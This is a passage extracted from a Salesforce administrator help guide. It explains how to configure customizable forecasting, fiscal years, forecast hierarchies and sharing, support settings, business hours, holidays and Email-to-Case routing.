Remove the check in the Auto-calculate Contract End Date option.
Click Save.
View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract
Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 1276 and About Field
Accessibility on page 1297.

To enable auto-calculation, check this option and click Save. If Salesforce auto-calculates Contract End Date, it
does not display on the contracts edit page.
Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty,
Contract End Date will be blank.

See Also:
Contracts Overview

1353

Forecasts

Setting Up Customizable Forecasting

FORECASTS
Setting Up Customizable Forecasting
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a
view of your overall business no matter how dispersed your sales teams are.
Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements.
Get started using customizable forecasting by clicking Your Name > Setup > Customize > Forecasts (Customizable):

Click Edit Forecast settings for your company to customize the default settings for your organization. See Defining
Customizable Forecast Settings.
Click Batch submit forecasts for your users to set up batch submission. See Submitting Customizable Forecasts in Batches.
Click Set up the forecasting hierarchy for your company to set up your initial forecast hierarchy. Refer to Setting Up
Your Forecast Hierarchy.

See Also:
Administrator tip sheet: Setting Up Customizable Forecasting
Submitting Customizable Forecasts in Batches
Using Product Families
Defining Customizable Forecast Settings
Setting Up Your Forecast Hierarchy
Enabling Customizable Forecasting

1354

Customize

Defining Customizable Forecast Settings

Defining Customizable Forecast Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define forecast settings:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Define the following settings for your organization:

Forecast Data Aggregation determines the type of data that is displayed on forecasts.
Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for
default forecasts.
Forecast Data Sharing determines whether forecast data can be shared.

To set forecast options:


1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Settings.
2. Select Forecast Revenue if you want forecasts to include revenue amount. If you disable this setting, you will lose all
revenue overrides on your forecasts.
3. Select Forecast Quantity if you want forecasts to include quantity totals. If you disable this setting, you will lose all
quantity overrides on your forecasts.
4. Choose a Forecast Period. If you do not have custom fiscal years enabled, choose monthly or quarterly depending on
your organizations forecasting cycle. If you have enabled custom fiscal years, you can choose to forecast by fiscal period or
by fiscal quarter. The forecast period you choose determines the time increment your organization uses for quotas and
forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals
are not available. If you change this setting, you will lose all overrides and forecasts, including all forecast history.
5. Choose a Forecast Date that determines how opportunity amounts contribute to forecasts:

Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period
for that date. If your organization does not use products, this is the only option available.
Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period
that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank,
Salesforce uses the Opportunity Close Date in the users forecast instead.
Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods
that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce uses the Product
Date in the users forecast instead.

6. Choose a Forecast Type that determines how many forecasts your users will submit in a period:

Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and
one quota for each period. If your organization does not use products, this is the only option available.
Choose Use Product Families if your users have one quota and one forecast for each product family. See Using
Product Families.

1355

Customize

Setting Your Fiscal Year

7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and
forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains
the same for all users.
8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing.
9. Click Save.
If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:

Require Administrator assistance for forecast sharing - Only administrators can share existing

forecast data.

Forecast managers can share their own forecast data - Administrators can share existing forecast

data, and existing forecast managers can also share their own views.
Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each
time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view.
If you have chosen to disable forecast sharing, you are prompted to confirm your choice.
If you use report builder, note that it doesnt support Customizable Forecasts.

See Also:
Setting Up Customizable Forecasting
Manually Sharing a Forecast
Setting Your Fiscal Year

Setting Your Fiscal Year


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set fiscal year:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year
is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your
fiscal year setting can be either 2005 or 2006.
To set your fiscal year for customizable forecasting:
1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We
recommend running and exporting the following reports:

Opportunity Pipeline

1356

Customize

Setting Up Your Forecast Hierarchy

Quarterly Forecast Summary


Quota vs Actual

2. Click Your Name > Setup > Customize > Forecasts (Customizable) > Fiscal Year.
3. Choose a Forecast Period of monthly or quarterly depending on your organizations forecasting cycle.
The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you
choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available.
4. Choose a Fiscal Year Start Month that represents the beginning of your organizations fiscal year.
5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example,
if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month
because the last month determines how your organization refers to that fiscal year.
6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts
created before you enabled customizable forecasts. Checking this option changes your historical forecast data.
7. Click Save.

See Also:
Defining Customizable Forecast Settings

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your
hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management.
When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your
organizations role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory
management. To customize your forecast hierarchy:

Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users
for Customizable Forecasting.
Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or
territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However,
above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast
Managers in Your Forecast Hierarchy.
Share forecast manager views with other users. See Manually Sharing a Forecast.

1357

Customize

Setting Up Your Forecast Hierarchy

If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.

See Also:
Setting Up Customizable Forecasting
Enabling Users for Customizable Forecasting
Assigning Forecast Managers in Your Forecast Hierarchy

Enabling Users for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

To enable users for customizable forecasting if your organization does not use territory management:
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy.
2. Click Enable Users next to a role to view a list of users assigned to that level.
3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click
Remove.
4. Click Save.
To enable a user for customizable forecasting if your organization uses territory management:
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Users.


Click Edit next to the user's name.
Select Allow Forecasting.
Click Save.
Add the user to a territory.

If you use report builder, note that it doesnt support Customizable Forecasts.

1358

Customize

Setting Up Your Forecast Hierarchy

Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report.
For more information on territory reports, see Territory Reports.
If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager
for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy

See Also:
Setting Up Your Forecast Hierarchy

Assigning Forecast Managers in Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy.
Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up
to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned
forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and
executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant.
If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your
forecasts.
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.
1. Click Your Name > Setup > Customize > Forecasts > Forecasts (Customizable).
2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role.
Roles without roles below them cannot have forecast managers unless your organization has territory management, which
supports forecast managers at all levels.
3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the
appropriate user; see Enabling Users for Customizable Forecasting.
4. If forecast sharing is enabled, choose the sharing settings:

Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view
to administrators. This is the default option.
Choose Forecast managers can share their own forecast views to allow the administrator or the
forecast manager to share this view.

1359

Customize

Enabling Customizable Forecasting

5. Click Save.

See Also:
Setting Up Your Forecast Hierarchy
Manually Sharing a Forecast

Enabling Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable customizable forecasts:

Customize Application

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable
forecasts from the Forecasts tab based on your customizable forecast settings. If you use report builder, note that it doesnt
support Customizable Forecasts.
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Forecast Hierarchy.
2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for
your organization. After you enable customizable forecasting, three new user permissions are available:
Permission

Description

Override Forecasts

Allows users to override their own forecasts and forecasts


for users below them in the forecast hierarchy. All standard
profiles except Read Only receive this permission.

Edit Personal Quota

Allows users to change their individual quotas. All standard


profiles except Read Only receive this permission.
Users with the Manage Users permission can always edit
any quota. Users can always edit the quotas of users that
report directly to them.

View All Forecasts

Allows users to view any forecast regardless of their place in


the forecast hierarchy. The System Administrator profile
includes this permission.

3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list.
Optionally, choose the Append... option to add this related list to page layouts even if users have customized them.
4. Click Save.

1360

Customize

Manually Sharing a Forecast

5. Enable or disable these permissions where necessary. For information on changing permissions, see Overview of User
Permissions and Access on page 555.
Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values
map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information.

See Also:
Setting Up Customizable Forecasting
Enabling Territory Management
Manually Sharing a Forecast

Manually Sharing a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data.
However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend
sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot
restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast
manager who has been given access to share your forecast data.
To see which users can view your forecast or to share your forecast data, do one of the following:

Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy, then click Share next to the view you want
to share.
Click Sharing on the forecast home page to share your own forecast data.

The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level
of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have
access to forecast data are:
Reason

Description

Administrator

The user is an administrator, or has the Modify All Data


permission.

Delegated Forecast Manager

A user has access to forecast data that was granted via the
Sharing button on the forecast.

Forecast Manager

A user has access due to being a forecast manager in the


forecast hierarchy.

Owner

The owner can always see his or her own forecast data.

1361

Customize

Submitting Customizable Forecasts in Batches

Reason

Description

View All Forecasts Permission

The user has the View All Forecasts permission.

On the Forecast Sharing Detail page, you can do any of the following:

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant other users or groups access to the forecast data.
Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to
override forecast data, then the user also has permission to override the opportunity forecast data.

Click Expand List to view all users that have access to the forecast data.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Defining Customizable Forecast Settings
Assigning Forecast Managers in Your Forecast Hierarchy
Enabling Customizable Forecasting
Granting Access to Records
Viewing Which Users Have Access

Submitting Customizable Forecasts in Batches


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To submit forecasts in batches:

Modify All Data

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can
submit their forecasts individually by clicking Submit from their forecast.
To submit multiple forecasts at once:
1. Click Your Name > Setup > Customize > Forecasts (Customizable) > Batch Submit.
2. Choose the appropriate forecast period.
3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for
Batch Submit. Select more than one at a time using CTRL+click.
4. Click Submit.

1362

Support

Setting Up Customer Support

5. Click OK.

See Also:
Setting Up Customizable Forecasting

SUPPORT
Setting Up Customer Support
The available support setup options vary according to which Salesforce Edition you have.

If your organization uses cases and solutions, you can set up various automated support features. Click Your Name > Setup
> Customize > Cases.

Click Business Hours to set your organizations support hours.


Click Assignment Rules to create rules for automatically routing cases.
Click Escalation Rules to create rules for automatically escalating cases.
Click Support Settings to customize email templates and defaults for automated support features.
Click Auto-Response Rules to set up rules that send email to customers when they submit cases from one of the following:

A Web-to-Case form
An Email-to-Case message
An On-Demand Email-to-Case message
A Customer Portal
A Self-Service portal

Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each
customer email automatically populates case fields.

For support features related to solutions, click Your Name > Setup > Customize > Solutions.

Click Solution Categories to set up categories so your users can categorize the solutions they create.
Click Solution Settings to enable specific options for solutions.

For additional support features, click Your Name > Setup > Customize > Self-Service.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

Click Public Solutions to set up public solutions for your customers to use when searching for solutions.
Click Web-to-Case to set up the ability to capture cases from your website.
Click Self-Service Portal to set up your organizations web portal for your customers to log cases and search for solutions.

1363

Customize

Setting Business Hours

For support features related to a Salesforce Customer Portal, click Your Name > Setup > Customize > Customer Portal.

Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions,
and access any custom objects you may have created for them.

For support features related to Salesforce CRM Call Center, click Your Name > Setup > Customize > Call Center.

Click Call Centers to set up new call centers and manage the users who are assigned to them.
Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory.
Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.

To create support queues for cases or custom objects, click Your Name > Setup > Manage Users > Queues.
The support features include the ability to notify customers when their case is created manually or via the web, or when their
case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification
emails, you must create email templates for each type of notification.

See Also:
Setting Up Your Organization
Administrator tip sheet: Setting Up Customer Support
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Administrator setup guide: Case Management Implementation Guide

Setting Business Hours


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set business hours:

Manage Business Hours Holidays

You can specify the business hours at which your customer support team operates, including multiple business hours in multiple
time zones. Setting business hours lets you apply specific time zones and locations to:

Cases
Case escalation rules
Case milestones in entitlement processes

After you set business hours, users can click Business Hours on a case to set the times at which a support team is available
to work on the case. Additionally, users with the Customize Application permission can add business hours to escalation
rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated
with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a
support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time
zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 385 and Setting
Up Escalation Rules on page 1309.

1364

Customize

Setting Business Hours

To set business hours:


1. Click Your Name > Setup > Company Profile > Business Hours.
2. Click New Business Hours.
3. Enter a name for the business hours.
We recommend that you enter text in the Business Hours Name field that will remind users of a location or time zone
when they view business hours on a case. For example, if your business hours are for a support center in San Francisco,
you could enter San Francisco Business Hours.
4. Click Active to allow users to associate the business hours with cases and escalation rules.
Click Active again to deactivate the business hours. You cannot delete business hours.
5. Optionally, click Use these business hours as the default to set the business hours as the default business
hours on all new cases.
Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule
criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 1309.
6. Choose a time zone to associate with the business hours in the Time Zone drop-down list.
7. Set your business hours for each day of the week:

By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is
unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for
the business hours, or leave the fields blank.
Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start
times must be earlier than end times.

8. Click Save.
9. Optionally associate the business hours to:

Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and
escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1309.
Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates
and times specified in holidays. For more information, see Setting Holidays on page 1369.

To update business hours, click Your Name > Setup > Company Profile > Business Hours and click the Edit link next to
the name of the business hours you wish to update.
Tips on Setting Business Hours
Consider the following when setting business hours:

After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the
Business Hours field. This allows users to view and update business hours on a case. For more information, see
Customizing Page Layouts on page 1278 and Field-Level Security Overview on page 663.
Business hours on a case are automatically set to your organization's default business hours, unless the case matches the
criteria on an escalation rule associated with different business hours.
Salesforce automatically calculates daylight savings times for the time zones available for business hours.
Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up
Escalation Rules on page 1309.
You can update cases associated with business hours that are no longer active without having to reactivate business hours.
You cannot include the Business Hours field in list views or reports.

1365

Customize

Customizing Support Settings

You can create multiple business hours for support teams that operate in the same time zone but at different hours.
For simplicity, we recommend that you create one set of business hours per support center.
You cannot deactivate business hours that are included in escalation rules. You must first remove them from the escalation
rules. For more information, see Setting Up Escalation Rules on page 1309.
You can associate up to 1000 holidays with each set of business hours.
Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add
business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case
that already has business hours, the entitlement's business hours are ignored.

See Also:
Creating Escalation Rules
Setting Up Customer Support
Entitlement Management Overview

Customizing Support Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change support settings:

Manage Cases
AND
Customize Application

To select default support templates and automated support features for your organization:
1. Click Your Name > Setup > Customize > Cases > Support Settings.
2. Click Edit.
3. Select the following settings and templates as necessary:
Field

Description

Default Case Owner

The user or queue automatically assigned to all cases that don't


match any case assignment rule entries. This user must be
Active.

Notify Default Case Owner

Select this checkbox to notify the default case owner when a


case is assigned to him or her. If the new owner is a queue,
the notification is sent to the queue email address.
Notifications are system-generated and can't be modified.

1366

Customize

Customizing Support Settings

Field

Description

Record Type Setting

Indicates which record type to assign to cases created by users


applying assignment rules. Select either:
Keep the existing record type if you want new
cases to keep the creator's record type
Override the existing record type with the
assignee's default record type if you want to
overwrite the creator's record type on new cases

Automated Case User

The user listed in the Case History related list for automated
case changes. Automated case changes may occur from
assignment rules, escalation rules, On-Demand
Email-to-Case, or cases logged in the Self-Service portal. This
user must have the System Administrator profile or the
Modify All Data and Send Email permissions.

Case Creation Template

The template used to notify contacts that their case was created
manually by a support agent. The notification is optional; it's
triggered by a checkbox on the case edit page. This template
must be Available for Use.

Case Assigned Template

The template used to notify users that a case was manually


assigned to them by an administrator or another user. The
notification is optional; it's triggered by a checkbox on the
Change Case Owner page. This template must be Available
for Use.

Case Close Template

The template used to notify contacts that a case has been


closed. The notification is optional; it's triggered by a checkbox
on the Close Case page. This template must be Available
for Use.

New Cases Visible in Portal

Automatically selects the Visible in Self-Service


Portal checkbox for all new cases, including cases created
via Web-to-Case, Email-to-Case, and On-Demand
Email-to-Case.
Regardless of this default, users creating new cases can
manually set the Visible in Self-Service Portal
checkbox.

Enable Case Comment Notification to Contacts Select this checkbox to notify contacts who aren't Self-Service

portal users when a case comment has been modified or added


to a case. If you select this setting, click Case Comment
Template and choose the email template to use for these
notifications. This template must be Available for Use.
Notify Case Owner of New Case Comments

Select this checkbox to notify the case owner when a user adds
a public or private comment to a case. If you select this setting,
case owners can't opt out of receiving these notices. (Notices
aren't sent to inactive case owners.)

1367

Customize

Customizing Support Settings

Field

Description

Early Triggers Enabled

Select this checkbox to enable early triggers for escalation rules


and their actions.
You can set up an escalation rule to perform an action when
a case has been unresolved for a specific number of hours. The
Age Over hour you specify determines when Salesforce
performs the escalation action. Enable early triggers to ensure
that your escalation actions are triggered before the Age Over
hour you specify.

Enable Suggested Solutions

Select this checkbox to enable the Suggested Solutions button


on case detail pages
For more information about how Customer Portal users can
self-close their own cases from suggested solutions, see
Enabling Customer Portal Login and Settings on page 1671.
For information about setting up suggested solutions for your
Self-Service portal, see Customize the Suggested Solutions
Page on page 1408.

Enable Suggested Articles

Select this option to provide suggested articles on the Articles


related list. You can make suggested articles available in all
Salesforce Knowledge channels except the public knowledge
base.

Send Case Notifications from System Address

Select this checkbox to specify that case comment, attachment,


and assignment notifications sent to case owners are sent from
a system address, rather than the address of the user who
updated the case.
System notifications display a From email address of
noreply@salesforce.com, and an email Name related to the
message, such as Case Comment Notification.
You can select this checkbox to prevent Self-Service or
Customer Portal users who update their cases from receiving
any out-of-office emails from case owners whose email is
set to out-of-office.

Notify Case Owners when Case Ownership


Changes

Select this checkbox to automatically select Send


Notification Email on cases when users change a case
owner to another user. This helps prevent users from forgetting
to notify other users that they're the new owner of a case.
Selecting this setting doesn't automatically select Send
Notification Email when users change a case owner to
a queue. See Managing Queues on page 595.

Show Closed Statuses in Case Status Field

Select this checkbox to add closed statuses to the Status field


on cases so that users can close cases without having to click

1368

Customize

Setting Holidays

Field

Description
the Close Case button and update information on close case
page layouts. See Closing Cases on page 3203.
Selecting Show Closed Statuses in Case Status
Field doesn't remove the Close button from case list views.
Instead, it adds Closed to the list of statuses available for users
to choose from when they select multiple cases and click
Change Status on case list views. See Viewing Case Lists on
page 3178.

Hide Save & Close Button and Cls Links

After selecting Show Closed Statuses in Case


Status Field as described above, you can select this
checkbox so that the Save & Close button on case edit
pages and Cls links on Cases related lists don't display
unnecessarily. Instead, users close cases via the Status field
and Save button.

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

See Also:
Managing Email Templates
Managing Queues
Managing Assignment Rules
Creating Escalation Rules
Capturing Web Cases
Setting Up Customer Support

Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set holidays:

Manage Business Hours Holidays

Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a
holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times
specified in the holiday. For more information, see Setting Business Hours on page 1364 and Setting Up Escalation Rules on
page 1309.
To set holidays:

1369

Customize

Setting Holidays

1. Click Your Name > Setup > Company Profile > Holidays.

Click Edit to edit an existing holiday.


Click Del to delete an existing holiday.
You can only delete a holiday that is not associated with any business hours.

Click Clone next to an elapsed holiday to clone it.


The Elapsed Holidays related list displays holidays that have occurred in the past. You can only clone elapsed holidays.

If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the
items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday.
Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.

The recurring icon ( ) displays next to the date and time of recurring holidays.
2. Click New.
3. Enter a name for the holiday.
4. Enter a date for the holiday.
If you want the holiday to span more than one day:
a.
b.
c.
d.

Select the Recurring Holiday checkbox


Enter the first day of the holiday in the Start Date field.
Deselect the No End Date checkbox in the End Date field.
Enter the last day of the holiday in the End Date field.

5. Optionally, you can:

Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field
and entering the exact times.
Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times:
In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or
Monthly fields, more options display that allow you to refine frequency criteria.
In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur.
The following error message displays if you select a start date and end date that does not correspond with the
frequency you selected: The recurring holiday has no occurrence.

6. Click Save.
7. Click Add/Remove on the Business Hours related list.
8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and
clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column.
9. Click Save.
Tips on Setting Holidays
Consider the following when setting holidays:

You can associate a holiday with multiple business hours.

1370

Customize

Setting Up Email-to-Case or On-Demand Email-to-Case

You can associate up to 1000 holidays with each set of business hours.
Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you
associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours
in Pacific Standard Time.
Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day.
Currently, there are no limits to how many holidays you can create for your organization.
Currently, report results do not take into account holidays.
If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that
specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on
months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of
every month drop-down list.
You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on
page 1364.

Setting Up Email-to-Case or On-Demand Email-to-Case


Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer Editions
On-Demand Email-to-Case is available in Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case or On-Demand Email-to-Case:

Customize Application

To enable Email-to-Case or On-Demand Email-to-Case:

Modify All Data


AND
Customize Application

Salesforce can automatically create a case when an email is sent to one of your company's email addresses, such as
support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For
example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand
Email-to-Case to efficiently resolve and correspond with customer inquiries via email.
Salesforce allows you to choose one of two Email-to-Case options:
Email-to-Case
Email-to-Case requires downloading the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case
and installing the agent behind your network's firewall.
Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email
attachments larger than 10 MB from customers.
On-Demand Email-to-Case
On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and
install an agent behind your network's firewall.
Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do
not need to accept attachments larger than 10 MB from customers.

1371

Customize

Setting Up Email-to-Case or On-Demand Email-to-Case

Setting Up Email-to-Case
The following high-level steps outline how to set up Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring
Email-to-Case on page 1373.
3. Download the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case.
4. Install the agent behind your network's firewall.
5. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.
6. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1278.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 472.
Setting Up On-Demand Email-to-Case
The following high-level steps outline how to set up On-Demand Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce, configure your email routing addresses and enable On-Demand Email-to-Case. See Enabling and Configuring
On-Demand Email-to-Case on page 1377.
3. Configure your email system to forward case submissions to the email services address provided to you by Salesforce. For
more information, see your email system's documentation.
4. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.
5. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1278.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 472.

1372

Customize

Enabling and Configuring Email-to-Case

Enabling and Configuring Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case:

Customize Application

To enable Email-to-Case:

Modify All Data


AND
Customize Application

This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings
page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and
after the tasks described in this topic.
This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to
On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand
Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 1377.
Before getting started, review the information in Email-to-Case Tips on page 1376.
To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable
Email-to-Case.
1. Click Your Name > Setup > Customize > Cases > Email-to-Case.
From the Email-to-Case Settings page, you can:

Click Edit to edit an existing routing address.


Click Del to delete an existing routing address.
Click Verify to confirm and verify the email address used in an existing routing address. A verification email is
immediately sent to the new routing address, which includes a link, that when clicked, completes the verification process.

2. On the Routing Addresses related list, select a routing source from the drop-down list.

If youre defining email routing addresses for Salesforce for Outlook users, select Outlook.
For all other email systems, select Email2Case.

3. From the Routing Addresses related list, click New. A routing address is activated after Email-to-Case is enabled.
4. Enter the routing address settings.
Setting

Description

Routing Name

The name for the routing address. For example, Gold

